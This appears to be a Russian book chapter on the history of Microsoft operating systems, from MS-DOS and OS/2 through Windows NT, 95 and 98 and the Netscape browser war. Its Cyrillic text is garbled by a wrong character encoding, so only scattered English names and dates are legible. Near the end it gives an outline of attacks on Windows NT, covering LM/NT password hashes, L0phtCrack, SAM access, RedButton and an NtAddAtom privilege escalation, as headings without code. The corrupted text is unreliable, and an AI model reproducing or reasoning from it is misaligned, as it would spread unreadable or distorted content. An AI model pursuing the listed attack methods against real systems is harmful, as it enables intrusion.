 IBM AT,  ।⠭ 樮 ⥬ MS-DOS 3.0 (MS-DOS 3.1) 맢 ஬  㯠⥫   ᭨ ॢ訥 設 XT.    MS-DOS ⠪  ⠫ 筮 ।,  㢥稢 魮 ஢  襥 ⢮ ணࠬ ᯥ祭, ᮧ ॡ  筮.
    㤭⥫쭮 . ᯥ⨢ 室  UNIX (XENIX)   ५頫, - ᫮ ⮩ ⥬ 㣨 짮⥫,   ⠢  ᢮ 묨 ਫﬨ,    UNIX,   ᥢ筮 窨 Windows   ⢮,  ࠧࠡ稪  ७ᮬ    頫.
 室 <襡> ᯮᮡ <ਢ>  MS-DOS 筮   ᮢ⨬  騬 ਫﬨ.    Microsoft   뫮   ணࠬ஢  饭 ०  Intel 80286,  몮 ஥஢  ⥬. ⮬, ᯮ짮 ⮩ , ௮ IBM ᨫ  뭮 ᢮ த TopView,  ७  MS-DOS, ஥ 﫮 ६ ᪠ ᪮쪮 ਫ  ४  . ᪠ 뢮  ᪮쪮 , த ᮢ  ⥪⮢ ०,   ᯮ㥬 ਫ ।﫨 ⪨ ॡ: ணࠬ, 騥  ன  室 DOS  BIOS, ਢ  ४⭮ ࠡ TopView.  ணࠬ 쬨, ᪮ 묨 ᠬ, । ᯮ짮 맮 ମ BIOS   ᪨  ६ 樨 믮﫨,  ।⢥  ⠬ -뢮.
頭 IBM ᤥ TopView  ᪨   ஡  <> ணࠬ ᯥ祭 ⠪    뫨 믮, , ᬮ  , TopView 襫 ᢮ 짮⥫  쥧 ⠫ ᯥ⨢ ।   騬.




ୠ PC Magazine, 饭 TopView-



    ଠ Quaterdeck ᨫ  뭮  DESQview, 騩 MS-DOS  ०. ᪨ DESQview ।⠢ ᮡ  樮 ⥬  ᢮ ᮡ⢥ ⢮ ⥬ 맮,  ⥫쭮 ॢ室 TopView,    ⠪  묨 <묨> ਫﬨ.
த  ᯥ,    ⭮   ਫ, ᮧ   DESQview (  DESQview । ணࠬ⠬ ⢮ 㭪権,    饩 樮 ⥬),  ⨢ ⠭ 짮⥫ﬨ,  㦤  筮,  쥧 ९⢮ த Windows  뭮.
 ६,     ௮⨢ ஢ ᮥ﫨 ᪠ , म 㥬 <쭮 >.  ஦ ।  ଠ Novell, ᯮ짮  Microsoft, ।⠢ ᢮  ⥢ 樮 ⥬, 筮 㤥ন  뭪    .




 룫拉 ਡ⨢ ᥤ쬮 ᨨ Novell DOS



ந室饥 ࠢ Microsoft    .  﫠 뭮.  짮⥫ 㫠  ᥡ Novell DOS,  - Macintosh,    ᨨ Windows 2.0, ন饩 ४뢠騥 ,  ࠪ᪨ 祭 ॡ⥫ﬨ.   -०  ⢮ 室 ਫ,  ᪫祭, , Adobe PageMaker, ᮧ  1986 .
室 ஡ 뢠  ௮ IBM. ⪨ ᨬ ந⥫  IBM-ᮢ⨬ , த   ࠭ 㯠. ஬ ᮭ  ॠ쭮 ஧  IBM, 㤭 த ண ३.    IBM ᬥ⢮ୠ ந⥫쭮 ப஢   ࠭稢   ਬ ,       ३, ॡ  <讬 > த ࠭.
騬 㤠஬  IBM  ᮮ饭  ࠧࠡ⠭  Intel  ய 80386.  த⢨ 뫮 ࠢ  ࠬ < 設>,  ⮨   冷 襢.   , 32-ࠧ來 稯, ᯮᮡ ᮢ  4  ⨢ ,  믮  3  4  権  ᥪ㭤.
  ६    ࠭祭묨. 孨᪨ 㪮⢠ 孮 ᮢ 墠뢠騥 ᯥ⨢: <ய 80386  ᮪ந⥫ 32- ஬, ।祭  ஥  ᮢ襭 ᫨⥫ ⥬ ᥣ譥  譥 . ⠭樨 , ᪨ ⥬  ᮪ ࠧ饩 ᯮᮡ, ⥫᪮ , ⮬⨧   ந⢠ -   ,  ᥣ   ਬ 80386. ਬ 譥  ᪮॥  ࠭祭 ࠦ ࠧࠡ稪 ⥬, 祬 ᫨⥫쭮 魮  ﬨ 80386>
௮ IBM  㦠ᮬ ,   稯  ᮬ 뢠 ⥫  뭪, ࠭ ਭ襣  ३,  ᥬ ᨫ ९⢮  , ᭠饭  ஬.    襭  뫨,       ᨫ ମ ண.
ᯮ짮 ஢窮 IBM,  Compaq ᠬ⥫쭮 ࠧࠡ⠫  , ࠭ ᮢ⨬  騬 મ ணࠬ ᯥ祭  PC  묨 ⠬ ७.    IBM ॢ⨫    饣.   ண 㤭, 祬 㡥 .
 ୮ 樮 ⥬   -० ⠢ MS-DOS, 㤥ন ஬ ⢮ ᠭ   ਫ,  짮⥫ 㦥 稭  ⢮, -    ᯮᮡ⥩ 80386  ॡ.
⠭ MS-DOS, ॡ⥫ ᯮ짮 Intel 80386  ० "ண 8086",  ᥡ ⠪ ᭮⥩  㠫쭠   筮. 室   ⮫쪮  ண騥 奬 ⨢ ,  ⮣, ⮡ ᯮ짮  襢 ,      < 640 >, -   ⮬ ᭮ ࠭⢥ MS-DOS  ᪠ ᯮ塞 ணࠬ.  ᫨   뫮 ⠭ 2  4  - <>  諠  㠫 , ᪮    ᯮ짮 ਫﬨ  ࠭ ,   ᯮ塞 .
 ६ ᮧ  ᨩ MS-DOS 稭 <640 >       諮  <஬> -  ᫨  ஬,  ஬ .    쬨   - ணࠬ <५>      ⢥ 640  ⠭  㤭  㤭,  ᯮ짮 ७  뢠 ⢮ ணࠬ⮢, 祭 ﭭ묨 ४祭ﬨ   (,  ⠫  ⨬ - ). ᯮ MS-DOS ।४ ᪮ , -  樮 ⥬  ᠬ௠, 㯥  室 㯨.
  ௮権 IBM  Microsoft ⠭   ⪮, -    ७    뭮  樮 ⥬. ⨬  騬 ਫﬨ    﫠 ᢮ 㠫쭮 -  ᮪ந⥫ ய஢,  ⪨ ᪮, ⮢ ⨢   த ᪨ ஫஢ ᮪ ࠧ襭, ⠢﫨 न쭮 ᬠਢ ॡ  䥩   ணࠬ ᯥ祭.
  Microsoft  ⥫ ࠢ  ஡ ᠬ⥫쭮,    뫮  ᮧ  ⥬,  IBM   㬥 㣠뢠 ॡ 짮⥫,    ﭨ  뭪 樮 ⥬ ᮭ ஢. ⮬,  ௮樨 訫 ꥤ ᢮ ᨫ, 稢  ५ 1987    ࠧࠡ 樮 ⥬  , 稢襩 ᫥⢨  OS/2.




OS/2 1.0



 砫  ᮧ ⠡㥬 樮 ⥬, ਣ   ᮭ ஢, ⠪   ३.   IBM  ਢ  ௮⨢ 짮⥫, ࠧ뢠,  ३   ३  ப,  ணࠬ⮢, 稢   ⮩ ४権 ७ ᢮ த  㣨 .  IBM ⢮ ஬  ணࠬ஢ < ஢>   ⢮ । 孮,  㯭 ⠫ ७⠬.
ᮧ,   樮 ⥬  ਫ   㦭,   ४᭠   뫠, ௮ IBM ஢ ᮧ OfficeVision - ᮢ襭 ⥬  ஭ 㬥⮮ [136].
 ᢮ । Microsoft ६ ᯥ ᮢ⨬ OS/2  Windows,  <>   . < ᮣᨫ ⢮  ⮬ ஥, 㢥७,  IBM  ᤥ OS/2 祬- 筮   Windows, ⮡ ணࠬ,   䨪樨,  । ਫ   .  IBM ⠨, ⮡ ਫ 뫨 ᮢ⨬   ३  ⥬ । .  﫨: OS/2 ॢ頥  - , ਥ஢ ᪮॥  ३, 祬  ᮭ > - ᠫ    ᢮  <ண  饥>.
 㤭 ⠭,   ࠢ,   . , ⠪  , Microsoft ᪮ 訫 ⤥  IBM  砫 த ᢮ 樮 ⥬ Windows ᠬ⥫쭮.  ७ Microsoft,  㯮  த⮢ ࠧﬨ  IBM  ᠬ  짮⥫ <   "⢥" ஥ IBM   㤠 筮 㣠 ஥ 짮⥫ , ⮬     뫮 ਥ஢ ० ᥣ  짮⥫ ३. ਬ,   ᨩ OS/2 "㧨"   ,  IBM ,   , ᪮   ३ 㧪   ⭠ :
    砭 N 221: " . 稭: 襭 筮 த" -  IBM  ࠢ,   樮 ⥬ ᮭ ஢ ᪮쪮 ⮢ ⮫쪮 - ⮣,  - ⠬ ਭ  ३    .
  殢 ⠫ ᭮,  ⠪ 㤭⢮ ᮢ襭 ᯫ>  ᢮   . ,  㣮 ᨨ, Microsoft, 稢 室 , 﫠,   쭥襬 ᬮ 室   প IBM.




 룫拉 ਡ⨢ Windows 3.0



   ,  22  1990  Microsoft   室 Windows 3.0.    ⠢ ⠡쭮 ࠡ饩 窮  MS-DOS, ॡ⥫쭮   ᠬ,  ⫨  । ᨩ 뫨 ᠫ. ਢ⥫ ᪨ 䥩, ᨬ , প 讣 ⢠ ࠧࠧ ன    짮⥫,  Microsoft ⠫  ⠢騪 ணࠬ ᯥ祭  ஢, ꥬ த ண ॢᨫ 1  ஢  .
 ⫨稥  짮⥫,  ணࠬ⮢ Windows  騬 謠஬, - த ᪢  ⠭ 㬥樨,   ࠧ ,  த  ᢥ, ᯮ Microsoft  筮  १ 祭 ९ ᫮. ணࠬ஢  Windows 楯㠫쭮 ⫨砥  ணࠬ஢  MS-DOS. 樮 ⥬ MS-DOS <஧筠>  ࠧࠡ稪,    ,   㤨,  ६   ⥬ 맮,  㭪樨 < 䠩>  < >.  ਫ, ।祭  ᪠  । Windows,  ᫥  ᮣ襭  ࠭祭,  ⮩ 樮 ⥬.  ⭮: 뢭 訢 । ᮮ饭, ॠ஢  ⪨ ந室 ᮡ⨩, , ᫮ ࠧ 㫨஢    㣨 ⠬ ᪮ 䥩, 믮 ࠡ,   ᥬ ⨥    ᥡ ᠬ 樮 ⥬.
襭  ஢    ॡ ਢ  ⮩稢 ࠡ ਫ  ᠭ Windows.   ᥣ,    ⢥⥩ ᨫ 室  প 짮⥫᪮ 䥩,    ⮫   ।⢥묨 ᫥ﬨ.
訢  室  㬠, ணࠬ    室  Windows, த ࠧࠡ뢠 ਫ  誨 MS-DOS. ⭮, Microsoft । ⠪  ᮡ⨩, ᪮  ४頫 ࠡ  MS-DOS,  2 ५ 1990  ⨫ ।, ⢥ , ন 㦥  쬨  ⨢ . ᨫﬨ   - Lotus, IBM, Microsoft  ࠧࠡ⠭  ⠭ ७  EMS, 㤮- 騩 ਫﬨ ᯮ짮   .
 ६, Microsoft ᮧ Excel  Word  Windows,  ᮪⥫ 㤠 ७⠬   ᢮ 樨  뭪 樮 ⥬.  짮⥫ ⠭ Windows  ࠤ  ᪠  ᢮  Microsoft Word,  ⠫ ⠭⮬ -䠪  뭪 ⥪⮢ ।஢.
  1991  諠 㬥⠫쭠 ⥬ ண ணࠬ஢ - Microsoft Visual Basic,  ᠬ Windows 뫠    몮   ࠭ . ᨪ, 뢠 १७ ᨮ,   ࠧ뢠 室   Windows  ,   稭騬 ணࠬ⠬ ᠬ⥫쭮 ᮧ 室 ਫ, ⮬, ⢮ ணࠬ  Windows ,  㪫 ᫮.
  Microsoft 砫 ᢮  ⥫ ४ . 뭮 짮⥫ ᮭ ஢  ⮬ ६ ⠫ ⮫ ᫥,       譥  ᫠     ᨫ 樨 Windows.
 ५ 1992   ᢥ  Windows 3.1,   ᨫ 祣 ਭ樯쭮 ,  ⫨砫  ᢮ ।⢥ 砬 <ᬥ᪨> 襭.  室  㬠, 짮⥫ ମ ,      த  饩 ᫮ ࠧ諮  23  ! ,  ⠪ ᯥ  ਫ  ᠬ  .
쭥訥 ᮡ ࠧ稢  ᪮ ࠪ  襬 ୥: Microsoft ७᫠ Windows  ⨢ , 稢 প  220 ந⥫;  㤥 , 㦤 ମ Apple   ⢮  Microsoft ⮢ 䥩 Mac OS, ࠢ⥫쭮 襭 뫮 뭥ᥭ   Microsoft,  १  द  稫   樮   ᯥ    孮.  ५ 1993   ॣ஢ 짮⥫ Windows 뢠  25 ,  Windows 譮 뫠 ਧ    ୠ⨢ 樮 ⥬  ᮭ ஢.
饥 Microsoft ᥬ  ࠤ㦭  .     ७⮢    ⢮,        墠 ⥫쭮  뭪,  ⠪ ⪨ ।ਭ ⭮. ਬ,   1990  ࢠ  த⮩ 窠  MS-DOS, 稢襩  GECOS. , ᬮ   孨᪨ ॢ室⢠  Windows, -ࠧࠡ稪 ⨫ 쥧 થ⨭ 訡,   楢 ঠ  㬥  ணࠬ⮢, ⮬ ࠧࠡ稪,   짮⥫, 諮 롨 Windows.
樮 ⥬ DR-DOS, 饭 ମ Digital Research, 㭪樮쭮 﫠 MS-DOS,   ᮢ⨬  묨 ﬨ Windows,  짮 ᮬ  ࠭祭 ⨭ 㯠⥫,  ⥬  묨 稭 饣 ⢮ Windows.
⪨ ௮樨 IBM ᮢ襭⢮ OS/2 直 ࠧ 稢 ஢ <:   ⠫ OS/2 ᫨誮 ஬  ᫮ ⥬.  㦥 룫拉 OS/2, ⥬ ਢ⥫쭥  Windows.

: 樮   ⭮襭 Office Vision  (IBM)  筮  ⪠> [137]
 饭 Windows  﫠   ਬ    뭪. ௮⨢ 짮⥫ 襩  ਥ஢  UNIX,  ࠧ 㧪ᯥ樠஢ 樮 ⥬,  <⮢ ॡ⥫>  ᯥ訫 ⪠뢠  MS-DOS,    ࠨ. ࠡ稪   ஢ ⢮ ⥬ Windows, ᪮  ᫨誮  頫  䨪. <ਭ⨥ ᪨ 䥩ᮢ ন   ⮬,  設⢮ 㯭 ணࠬ᪨   뢠   죨.  ᭮  ஢ Macintosh  ⬠娢  Windows (᫨  ᬥ ). Lotus  WordPerfect,  뭪 ஭ ⠡  ⥪⮢ ஢,   OS/2 﫨 쬠 ஬ > - ⮢ .  ணࠬ⮢  : ⭠   Windows,    ,  ⠭ ⥬ 㭪権, ௮⨢ 筮 (    筮,    㡮 ), , 襭 ॡ   ᠬ  ⥫ ࠧ ⪮஢ ணࠬ, 㦨 訬 ⨬㫮 த ᮧ ਫ  誨 MS-DOS, ⠭   設 ᥣ .
뢠  ௮⨢ 짮⥫   砫    쬨,    ᯥ樠⮢ Microsoft  ⥫ (  )   ஥஢ ⥬  ஢.
⮬ 1988     ⫥ ࠧ :   筮 來.   㤠 ⢮  ᮧ 樮 ⥬,     ⮪ RSX-11  VMS -   ⥬ 諮 :訩 ।⠢  ᮬ,  ௮樨 Microsoft  ᮢ, -  㤥   ⨢       ᮧ  樮 ⥬  ᮭ ஢. ⭮ , ᮭ      ᮢ  ᥣ,     ᮣᨫ     ᪠ ᢮  ⮩ ஡.
<> 稫 室   Microsoft,  㦥   ⮣  ,  ᮡࠫ ⠫⫨ ணࠬ⮢  ᢮ 㯯. < 楫 砫 ७ᨬ,   ᠭ樮஢ 㯠, প POSIX, ᮢ⨬, ⠡㥬 ந⥫쭮 (প ⨯୮ ࠡ⪨), 塞   ୠ樮樨.    楫 ᠬ ᫮  襩 襥 ﭨ    뫠 ᮢ⨬. ⭨  த ⥬ PDP-11   ࠢ  ⪠  ᮭ ஢!  ⮣,   뫨 ᯥ ᮢ প  ࠧ 16-ࠧ來 ।    32-ࠧ來 , 騥 ᢮ ਫ    ࠭祭 㠫쭮 ᭮ ࠭⢠,  ⢮訬  PDP-11.  ᢥ ᥣ  ⥫ ঠ ⠭ ᯥ䨪 䥩 UNIX   POSIX> - ᯮ  ⫥, 㪮⥫ ࠧࠡ⪨ Windows NT.
 ᠬ 砫 NT ਥ஢  ࢥ   ᮪ந⥫ ࠡ稥 ⠭樨.  ⢥ 樮 ⥬ Microsoft,   , ᮢ⨬  ᥬ⢮ Intel. ७ᨬ  饭 -    ௮⨢ 樮 ⥬. ⮬,    ॠ   \++,  ⮫쪮 ஢ ,  騥  㤮, 믮  ᥬ.  ७ᨬ 諠 ண 業, - ⭠ ࠡ  Windows NT ॡ ⪮    ⥭  .
 ⮨  ᠬ 祭    ௮⨢ 짮⥫ ⮦  ࠢ  ।⠢塞묨 NT ﬨ.  㤥 让 訡 ᪠,  Windows NT -   UNIX,  ஥   孮  ⮬ 訡 ᢮ ।⢥.  楯樨 UNIX ନ஢    ਮ,   ன ⥮ਨ ᭮  ⢮,  ࠧࠡ稪 ⢮ ᪮॥ 㣠, 祬 楫ࠢ.   <᭮ UNIX> ᪠뢠  ஡ ⫠ ਫ  UNIX, -   ᭮ ࠧࠡ稪  ⠢  祭 룮 ,  ⥭쪮 蠫  䨪樥 , ᭨ <譨> (  窨 ७) .
     짮⥫,   㬥 ⨢ ,  ᠬ ஬, 諥, 饬 ஭  ⥬.  Windows NT  堭  ⥣஢  ,   뫨   ⥬ ,   ந諮  UNIX.
 ਢ  ᥡ    ⮢, Microsoft ⠢ 楫 -   ⥬ 믮 ਫ, ᠭ  OS/2, 16-ࠧ來 ਫ Windows  ᯥ  ७ ணࠬ ᯥ祭 UNIX.   砫 ﭮ 䫨  Microsoft  IBM ⨣ ,  Microsoft,  ᮪饭 뭪 짮⥫ OS/2,  﫠 ᢮ .
뭥  ।稫  Windows -  樮 ⥬,   NT   , 㠫쭮 ⫨稬  䥩 Windows 3.x.  楫ᮮࠧ ⮣ 蠣, ⨪ ᯮ   . 㦥  ࠧࠡ稪 ᪨ 䥩 뢠 ७०   ⥬   UNIX.  㣮 ஭,  ਢ 稭 짮⥫  ᯥ稫  室  Windows NT  Windows 3.x ( ⮫쪮   ௮⨢ ⮢    Windows 3.x?).
ணࠬ᪨ 䥩 win32 API, ࢮ砫쭮 뢠訬   ⥬, ⠫ ᭮ ᯮᮡ 饭 ਫ  樮 ⥬,  ६  ᯥ ᮢ⨬  ணࠬ, ᠭ  OS/2, 祧. 樮 ⥬ Windows NT ⠫   । ਥ஢  ࠡ  ᢮ த묨 32-ࠧ來묨 ਫﬨ,   ࠭஢ ४⭮ 믮 ணࠬ ᯥ祭, ᮧ  16-ࠧ來 Windows  MS-DOS.
ࢠ 㡫筠  Windows NT 3.1   뭪 24  1993 .  ࠧࠡ稪 뫠  筠. ⮩稢  饭 ⥬ ( ᢮, 祬,  客⥩) ⨢﫨 㬮⥫ ⥬ ॡ. ⭠ ࠡ ᯥ稢  稨,  ࠩ , 16-32  ⨢   ண  (  ࠧ ).  砫 ﭮ 業  奬 ⨢   ⠢ ᮪,     ⠫ 室  Windows NT 祬- 楫ᮮࠧ.
頫   筮 ⥬ 맮, -  㭪樨 ஢ ⪠ 㬥⮢, ᫮묨 ࠬ ,  뫨 ᫨誮 㤭  .  ࠧࠡ稪 ᮧ -  ⠪ ᨢ થ⨭ ⨪ Microsoft, 室  Windows NT , ᪠  ﭥ  ᪮쪮 .
뭮 <ᮭ 짮⥫>  ந஢  Windows NT, ᪮     ᯮ 묨 ᠬ ॡ㥬 魮. ⮬, Microsoft 㬠  ᪥ <祭> Windows NT,   ᭮᭮ ᪠饩  ᮢ .  । ﭮ <ᮢ > ࠧ㬥 ᮡ 80386 , ᭠饭 4 ⠬ ⨢ .
। ࠧࠡ稪 﫠  -  設⢮ 㭪権 win32 API   ஬ ࠭⢮, ᯥ稢  ᪠  ࠡ  32-ࠧ來묨 ਫﬨ, ᮧ묨  Windows NT. ᪨  NT  ⥬ ⫨砫  ⢨   ७ᨬ.
⢨⥫쭮, ⥬    ᠬ <஦૨> ⮢ Windows NT. 모   ⪠  ७ᨬ, 㤠  ⥫쭮 㢥 ந⥫쭮 ⥬, ९ᠢ ᪨   ⨬஢ ᥬ.
     ⠫ 騬 謠஬  ࠧࠡ稪, 㦤  ᥬ ᫨묨  ᫨묨 ᯮᮡ,      筮 ࠭⢮.  १ 諮    ⢥ 饭, ⥫쭮 訢 ᮢ⨬  Windows NT.
  ࠧࠡ稪  ⥬ 뫠 ⭠   <Chicago>,   த  㯨  樠  <Windows 95>. ⥭ᨢ ⥫ ४  ⠫  祭  24  1995 ,    த Windows 95  ।   﫨  ,  騥  ,  ⭮襭  ᫨⥫쭮 孨 .
砫 ᮢ   MS-DOS  Windows 3.x  Windows 95,  祭  Windows 95 ⠫ ⢥, ࠪ᪨ ୠ⨢ 樮 ⥬, ⠭   ஢. <᫨  ணࠬ, -   ணࠬ  Windows 95> 㡥 ணࠬ⮢ 짮⥫  ࠭⥫ ணࠬ ᯥ祭. ணࠬ MS-DOS 祧  ਫ   ࠭  ୠ, -    Windows 95,   ᮡࠫ ਢ.
 ६, Microsoft 뢠  "hi-end" 뭮 ࢥ஢  ࠡ ⠭権, ᭠饭 樮 ⥬ UNIX, 㯮୮   ண. 筮 த⢨ Windows NT ९⢮  த  뭮.  , 堨 䥩 NT 3.x  襫    ࠢ  㦥 Windows 95  த ७樨  Microsoft - 㯠⥫, ਮ⠫ Windows 95, ⪫뢠 㯪 NT  ⮬, 릨   ७    䥩.
  31  1996  諠 Windows NT 4.0.    । 砩,  ।  ணࠬ ᯥ祭 ॡ  ᮢ ⥫쭮  ᢮ ।⢥. ࠡ稪 ਫ ⠭᪨ ᨫ  ⨬樨  Windows NT, ७᫨  GUI (᪨ 䥩 짮⥫)    ᪮ਫ 맮  㯮ॡ塞 㭪権.




⨯ Windows NT 4.0



  ⨬  ࠢ  ᠤ 訡  客⥩,    । , 祣 ⥬ ⠫ ⥫쭥 , ⮩稢  饭. 筮, ࠭  訡, ஦ 㣨  ⠪ ⥬, ᭠饭 Windows NT 4.0,  ४頫,  Microsoft 㬥 ⢮  UNIX  ᮪ 뭪  த 쭥襥 㯫.
 १  Internet  ⢮ ࢥ஢, ᭠饭 Windows NT,    ௮⨢  Windows NT ⠫ ⠭⮬ -䠪.   墠⮬ 뭪 樮 ⥬, Microsoft ஢ 뭮 WEB-㧥஢, ⥣஢ Internet Explorer  Windows 95  Windows NT.  짮⥫ ⯠ 室 ਮ த ஭ . ᭮ ७ Microsoft - ଠ Netscape  ⮫쪮   । 祣 ਭ樯쭮 , 饣  Internet Explorer,   ந뢠  ⮩稢 ࠡ - Netscape Navigator 祭  <ᠫ>, <訫>, <ᯮ몠>  ਯ   HTML-. 뫨, 筮,    ᢮ ਢথ,  設⢮ 짮⥫,  ࠧ뢠, 롨ࠫ த Microsoft.
 ᠬ Microsoft ⥭ᨢ ⠫ Netscape  뭪. <:Netscape ୮ ࠧ४஢ Navigator  ணࠬ ᬮ AOL  ᢮ 㦡 GNN Internet.  . ⨪ ஢ᨫ ஦ ᮢ⭮ ।, ।᪠뢠,   ९   Netscape  .   㯨 Microsoft   墠⨫ 樠⨢.  AOL ᮣᨫ ᤥ Explorer ᭮ 㧥஬    譨  ᢮ ⮢.  AOL ᯥ稫 ᥡ   ࠡ祬 ⮫ Windows 95.> [138]
 ᢮ । ॡ  Netscape  ⮣, ⮡ ⭮   ஢,   Microsoft  ,     ⭮ ७樨,  ॡ  㧥  樮 ⥬. ᭮,   Windows,  㧥 ᮤন  ⨫ ஢ન  ࠣ樨 ᪠,    蠥  ⮭ த ᢮ ணࠬ;   Windows  ᪨ ।,       ७ PhotoShop. 祬? ஭ ந⥫ 㬥  Microsoft    ਭ樯쭮 . ⨢ , Netscape  Explorer  - , 㭪樮쭮 ⫨稬   㣠.
⭮, 祬  ⮨  ஭ Netscape, ন ஢  , , 饬騩  짮⥫ ( ᯫ Explorer  ⠨,  㯠 த Netscape )  ମ騩 ண (⥣  㧥஢ 砥 ᮧ ꥪ⨢ ਥ஢ 䥩ᮢ).


१ <砭>




Netscape    ⪨  ६ ,  ମ Sun Microsystems,  ࠤ 祭 㬠, 騬  ⮬,  Microsoft   ᥣ  樭樥.  ᮮ⢥⢨  ⠪ 冷 ,  㦭 ᤥ    , ⠪   Microsoft 襣 .
<祬 Microsoft  Netscape>  ࠪ
  1998 Microsoft ⨫ ᫥ 樮 ⥬, ஥   ਣ쭮  Windows 3.x- Windows 98. ஬ 譨, ᬥ᪨, , ࠧࠡ稪 ⥫쭮 訫 , ਡ   Windows NT. ⥬ 뢠 ᨬ⨨ 짮⥫,     饣. ஥ ᫥   16-ࠧ來 㫥, ய⠢  ⥬, ⠫ ८ ॣࠤ   襭 ⮩稢  ந⥫쭮 ⥬.
 Microsoft 諠  ᥡ ᨫ ⪠  প   樮 ⥬, ᫨    - Windows NT 5.0 ,   ᥩ ਭ 뢠, Windows 2000.  砥, 冷 짮⥫  ࠡ  ⮩  樮 ⥬,  <>  ࢥ  ௮⨢ ࠡ ⠭. 뫠  IBM, ᮧ  樮 ⥬   設    . ணࠬ⠬    ஢ ᢮ த   ଠ,  짮⥫ ᮭ ஢ - ⮢   饭 <譥> 樮 ⥬ । ᠬ, ।⥫ﬨ  ⠡ ணࠬ ᯥ祭.
ᯥ Windows  ஬ ⢮ ᠭ   ਫ      ୠ⨢,  ᮢ⨬  Windows 樮 ⥬ - ᫨誮 ஬  諮    ७ 饣 ணࠬ ᯥ祭  ᮧ   .
 ४ ᥬ ண,   Microsoft 稭  殮 .  㤠 - 頭 ௮樨 Intel     Merced, 楯㠫쭮 ⫨騩  ᥬ⢠ 80x86.  Microsoft 㦥   砫 ࠡ  64-ࠧ來 ᨥ Windows NT, ᯮᮡ ᪠  Merced.   ᪠,   ᯮ짮   २⢠.  頥 , - 筮  Windows 3.x ᯮ짮    㭪樮 ⥩ Intel 80386, ⠪  Windows NT ᬮ ᪠  Merced,   ᯮ짮    魮.   Intel ⠥,  ᭮ 樮 ⥬ Merced : UNIX, ᯮᮡ 業  । ந   ⥪.  ⫨稥  , 樮 ⥬ Windows NT ᫨誮 ᫮   , <祭>  孮 - ⭥ . 猪 Merced ⢮  Microsoft ⨬ ᮪ 뭪 - 뭪 ࢥ஢  ᮪ந⥫ ࠡ ⠭権 (ࠢ  ᮭ    ࠧ).
㣮 㤠 - ਣ 㤠,  ஬ Microsoft  ࠧ   ᨬ . 祬,   , 먣ࠢ ᪮쪮  窨,   ⠪ ᤠ  ᮡࠥ, :  , ᪮쪮  த ᯮ⢮ Microsoft?    ,    <  ஭ Microsoft>:





: ⮪,  ᠬ  ਧ, 栫   - ﭨ  த ய  ஫.   ॢ ,   ஭ ,  , ,  㨭 祧, ᫮   ⢮ .  ⨫ 쬠. ⠫ ⮫쪮 ᢥઠ騩 ࠦ - 襡, , ᬥ.
  㤦   㦨









⠪  Windows NT


O  ⮩ :
O Microsoft LAN Manager - , ன⢮, ⪨ ॠ樨
O SMB ⮪
O  쭮 ॣ樨  ⥬
O  㤠 ॣ樨  ⥬
O 梨 ⮬᪮ 室  ⥬
O  ⥭䨪樨, 堭 <-⪫>
O  ஢ ஫
O  ஢ - LM  NT 
O 訡 ॠ樨 堭 ⥭䨪樨
O 業 ਯ⮩ LM-, ⠪  LM-
O 業 ਯ⮩ NT-
O 梨 ⬠ ஢ -祭, ।  
O 業 ६, 室   ஫ Windows NT
O L0phtCrack - ணࠬ ॠ  ஫
O 㯭 १ࢭ   SAM
O  짮⥫  Windows NT   ᨨ
O ⠪ RedButton
O ⠪   Password Policy
O ⮪ SNMP,   ᯮ짮  ⠪
O 祭 ࠢ    訡 ॠ樨 NtAddAtom
O 㦡 ।४
O    NPFS
O ⠪  ᯮ짮  
O ⢮७  ᫥ ࠢ 



१ < ।᫮>



⮬ 筮   থ⢥  樮 ⥬ Windows 2000, ꥤ訩  ᥡ 㤮⢠ Windows 98 c  [139] Windows NT. 設⢮ 訡, ⢮  Windows NT 4.0, ᥩ ࠢ     ⥬  ⠡쭮  ⮩稢 [140].
  ⮨ ய  祭ﬨ. ४ ७ Microsoft, Windows 2000 -  ।  [141], ਭ樯쭮 祬  ⫨  ᢮ ।⢥. ࠭  , ஭訥  ⥬,  , ᢨ⥫: 訡 ,   , ⮡ ࠧࠡ稪  ⨫      祬    ப !
 ⠪, ᠭ , ਬ ᪫⥫쭮  Windows NT 4.0  ᨫ ⨢ Windows 2000.  ⥬,  㠫쭮 ⠥ 쬠 ᮪: ᮢ    ⥬ 筥 ᪮. 㯭 ௮樨  ⠪    ᯥ: ᫨ 饥 ணࠬ ᯥ祭 㤮⢮  ᠬ,   < 訫  뫮>?   ⥬  ᯫ ᥣ 易  ᪮  訡,     ࠡ祣 ६. ௮⨢ 짮⥫ ᪮॥ ᮣ   ⪠ ० ⥬, 祬 ⠭ <  誥>,  襤襣 ஢   譨   ௮⨢ 짮⥫.
  拉 砥 Windows NT 4.0  ᯮᮡ ᯥ 饣 ஢ 饭 [142].   ⠪,  ࠭  ।⢠ ஢,   諥  ਢ !
 Windows 2000 設⢮ 㦥 訡 ࠢ (  !),  ஢ 饭 ⥬ ⥫쭮 襭. ⮬,  ਠ, ਢ ,  ᬠਢ  ⮫쪮  ᠭ  Windows NT (Windows 2000),    ⨬ 室  Windows 2000 (᫨ ⥫    ⮣  ᤥ).
᫨  ௨  UNIX 뢠    ,   ⥮ਨ ᭮   ⢮,  Windows NT 砫쭮 ஥஢  饭, ⪠⮩稢 ⥬, ⮩  ᥬ ⨠ਪ᪨ ஥.
 ⫥,   Windows NT, ࠭ 騩  ᮧ   ᥬ - RSX-11M  VMS [143],   NT  ᢮ ⠫  , : 宦, ௥ 㤠. , Windows NT ஥  । 孮  ᭮  ७ ⨢稢  ᭮,  ⥮  ࠧ 騥 訡 ॠ樨.
஬ ᠤ , ᢮ࠧ ணࠬ᪨ ᮪, ࠢ塞 । ⪮, 㠫  ஡ 몮 ࠧ ⮢ 樮 ⥬   㣮.  ᮣᮢ ࠡ ᯮᮡ ⥫쭮 ᫠ ⥯ ᭮,    祫   ﭨ 㤥ঠ    ப 室  樮 ⥬,   ⮬ ⢠ ࠧࠡ稪 न஢  ⢨ ⠭  ᫮  ᫮. 㤨⥫쭮,   Windows NT 㦨 쥧   ,   ᯮᮡ ᠭ樮஢ 襭 ஢ ᢮ ਢ  <>  .  訡 ࠭ ࠢ ஢ (⠩ - 祫᪨ 饬 ࠢ 짮⥫  ⪫祭 ᥣ,  㤠 ⪫ [144]),   ᨫ ᠬ ⥪ Windows NT  諥 ᥣ ⠭ 蠭 ஭  ⥬.
